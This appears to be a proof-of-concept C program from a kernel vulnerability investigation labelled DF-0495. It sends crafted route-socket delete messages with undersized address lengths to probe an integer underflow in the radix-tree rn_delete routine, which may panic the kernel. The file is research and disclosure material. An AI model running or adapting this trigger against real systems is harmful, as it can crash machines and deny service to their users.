DF-0495 / route_radix_underflow.c
/* * DF-0495 PoC - rn_delete integer underflow (clean probe, no destructive deletes) * * Only tests sin_len in {1,2,3} (< head_off=4 for AF_INET) against a * NON-existent destination (240.0.0.1), so no real route is ever deleted. * Characterizes whether (klen-head_off) underflow -> panic or -> ESRCH. * * sys/net/radix.c rn_delete(): * klen = clen(key); // = sa_len * head_off = head->rnh_treetop->rn_offset; // 4 for AF_INET * if (tt == NULL || * bcmp(key+head_off, tt->rn_key+head_off, klen-head_off) != 0) * return (NULL); * * Root-only path (PF_ROUTE needs SYSCAP_RESTRICTEDROOT). */ #include <sys/types.h> #include <sys/socket.h> #include <net/route.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <errno.h> int main(void) { int s = socket(PF_ROUTE, SOCK_RAW, AF_INET); if (s < 0) { perror("socket(PF_ROUTE)"); return 2; } u_char lens[] = { 1, 2, 3 }; for (int li = 0; li < (int)(sizeof(lens)/sizeof(lens[0])); li++) { struct { struct rt_msghdr rtm; struct sockaddr_in dst; } msg; memset(&msg, 0, sizeof(msg)); msg.rtm.rtm_msglen = sizeof(msg); msg.rtm.rtm_version = RTM_VERSION; msg.rtm.rtm_type = RTM_DELETE; msg.rtm.rtm_addrs = RTA_DST; msg.rtm.rtm_seq = li + 1; msg.dst.sin_len = lens[li]; /* < 4 => underflow */ msg.dst.sin_family = AF_INET; inet_pton(AF_INET, "240.0.0.1", &msg.dst.sin_addr); /* nonexistent */ printf("sin_len=%u -> ", lens[li]); fflush(stdout); ssize_t n = write(s, &msg, sizeof(msg)); printf("write=%zd errno=%d (%s)\n", n, errno, strerror(errno)); fflush(stdout); } printf("DF-0495 probe complete - kernel still alive.\n"); close(s); return 0; } |